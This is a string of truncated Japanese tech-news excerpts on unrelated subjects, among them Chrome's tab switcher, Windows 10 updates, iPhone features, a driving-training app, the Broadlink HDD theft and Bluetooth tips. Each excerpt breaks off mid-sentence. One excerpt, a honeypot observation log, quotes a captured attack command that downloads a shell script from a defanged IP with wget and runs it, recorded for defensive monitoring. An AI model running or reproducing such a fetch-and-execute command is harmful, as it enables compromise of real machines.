現在ChromeやFirefox、Safari等のメジャーなWebブラウザは、複数のタブでWebページを開くことができる、タブ型のインターフェイスを採用しています。 タブ型のインターフェイスは使いやすく、多くのユーザーが慣れ親しんでいるUIですが、万能ではありません。例えば、多くのタブを一度に開くと極端に操作性が悪くなる、いわゆる「タブ溢れ」と呼ばれる問題が発生することが知られています。 今回Googleはこの問題を改善すべく、Omnibox(アドレスバー)に新たな改良を加えていることが分かりました(Techdows)。 今回加えられた変更は、既存のタブと同じWebページを新しいタブ開こうとした際に表示されるタブの切り替えインターフェイスの改良です。 ▲現行のChromeでは「切り替え」ボタンが、候補一覧の右横に表示されますが、新しUIでは「このタブに切り替え」という専用の行が1行追加され
Microsoftは1月23日(現地時間)、Windows 10 Version 1809以前のWindows 10の各バージョンに対し累積アップデートを公開しました(窓の杜)。 今回公開された累積アップデートは以下の通りです。 Windows 10 Version 1809: KB4534321 Windows 10 version 1803: KB4534308 Windows 10 version 1709: KB4534318 Windows 10 version 1607: KB4534307 更新プログラムはシステムの品質を改善するもので新たな機能は追加されていません。オプション扱いの更新プログラムで、Windows Updateで手動で更新プログラムのチェックを実行するか、Microsoft Update Catalogからファイルをダウンロードしてインストールすることができ
ハニーポット(仮) 観測記録 2020/01/23分です。 特徴 Location:JP Citrix製品の脆弱性(CVE-2019-19781)を狙うアクセス PHPUnit(CVE-2017-9841)の脆弱性を狙うアクセス クラウド環境のメタデータ情報を狙うアクセス AWS Security Scannerによるスキャン行為 Apache Solrへのスキャン行為 18[.]179[.]20[.]5に関する不正通信 5[.]188[.]210[.]101に関する不正通信 を確認しました。 /shellに対して、コマンド実行を狙う以下のアクセスを確認しました。 cd /tmp; rm -rf .j; wget http:/\\/91[.]92[.]66[.]124/..j/.j; chmod 777 .j; sh .j; echo DONE Location:US D-link製品の脆
ルーティンワークとは、手順が決まった仕事のこと。繰り返し行われ、むしろ変化は好まれないために、退屈なことの代名詞のような使われかたもしますが、世の中には変わらないこと、変えてはいけないこともあるはず……花の水やりとか犬の散歩とか、ネガティブな印象のないルーティンワークもありますよね。 そんなルーティンワークは、「リマインダー」で管理しましょう。通常のリマインダーは、作成後に丸い部分をタップしてチェックを入れると完了扱いされてしまい、以降は表示されなくなりますが、繰り返し型のリマインダーを作成すれば、その条件に応じて何度でも表示されます。 たとえば、毎朝薬を飲むことはリマインダーで管理するのに格好の材料です。曜日に関係なく朝8時に1種類の薬を飲むのだとすれば、毎日朝8時を条件に繰り返し型リマインダーを作成すればいいのです。通知表示後にリマインダーの丸い部分をチェックすると、その日のリマインド
あいおいニッセイ同和損保は、東北大学加齢医学研究所および仙台放送と連携し、同社テレマティクス自動車保険契約者向けに、1月27日より「運転技能向上トレーニング・アプリ」の提供を開始する。 同社では、事故を起こさない契約者にも付加価値が提供できるよう、安全運転スコアに応じて保険料を割り引く「テレマティクス自動車保険」を推進。また、東北大学加齢医学研究所および仙台放送と連携し、「テレマティクス自動車保険×運転技能向上トレーニング」に関する協業取組を進めている。 今回、テレマティクス自動車保険加入者に対し、保険料割引というインセンティブに加え、運転技能を維持・向上するための「運転技能向上トレーニング・アプリ」を提供。従来のテレビ接続型ゲーム機を使用したサービスに加え、スマートフォンに対応させることで、より利用しやすい環境を提供する。 運転技能向上トレーニング・アプリは、脳トレゲームで有名な東北大学
iPhoneに標準装備のスーパー大辞林によれば、注視とは「注意してよく見ること」。画面注視とはすなわち「画面を注意してよく見ること」で、その認識システムがiPhoneに装備されている……それは理解できても、一体何の役に立っているの? と考えても不思議ではありません。 画面注視認識機能とは、iPhone X以降に搭載の「TrueDepthカメラ」を利用した、視線の有無を認識する機能です。TrueDepthカメラがiPhoneを持つ人物の目もとを調べ、iPhoneの画面を意識して見ているかを把握します。 具体的な用途としては、ディスプレイ輝度を自動的に下げるかどうかの判断材料が挙げられます。注視していなければ省電力のために輝度を下げ、注視していればそのままの状態を維持します。通知が届いたときの効果音も、注視しているときには音量を低く、注視していないときは持ち主の気を引くため音量を大きくします。
「内部犯行」は発生頻度こそ、他の攻撃ケースに比べて低いものの、一度発生した場合は影響範囲(損害)が大きいと言われますが、昨年12月に公表されたブロードリンク社の内部不正(機密データが残存したHDD等のオークション等での販売)は、その影響が企業にとって無視できないものである事を改めて教えてくれています。 www.itmedia.co.jp 神奈川県の行政文書を保存したHDDがインターネットオークションを通じて流出した事件で、神奈川県庁のものを含むHDD24個を盗んだとして、警視庁捜査3課は22日、窃盗容疑で、廃棄処理を請け負った情報機器会社「ブロードリンク」元社員の高橋雄一被告(51)=横浜市旭区都岡町、同罪で起訴=を再逮捕した。 高橋容疑者は調べに容疑を認め、「何のデータが入っているかは知らなかった」などと供述。捜査3課によると、2016年3月からHDDや会社の備品など約7900点をネット
Bluetoothがオンになっているか確認「電源を入れ直してください」と同じくらいバカみたいなアドバイスだと思うかもしれませんが、スマホのバッテリーが切れそうな時など、デバイスが低電力モードになっている時は、Bluetoothの機能が無効になっている可能性があります。 また、機内モードにしている時は、Bluetoothは無効になるというのも覚えておいてください。 バッテリーが切れそうということで言えば、受信する方のデバイスも、アンテナがフルで機能できるくらい十分に充電されているか確認しましょう。 ペアリングの確認スピーカーなどのBluetoothデバイスの多くは、最後に接続したデバイスが電波の範囲内にある場合は、電源が入った時に自動的に接続します。 これは便利な機能ではありますが、例えばタブレットからBluetoothスピーカーに音楽を流したいのに、スピーカーが自動的にスマホに接続しようと
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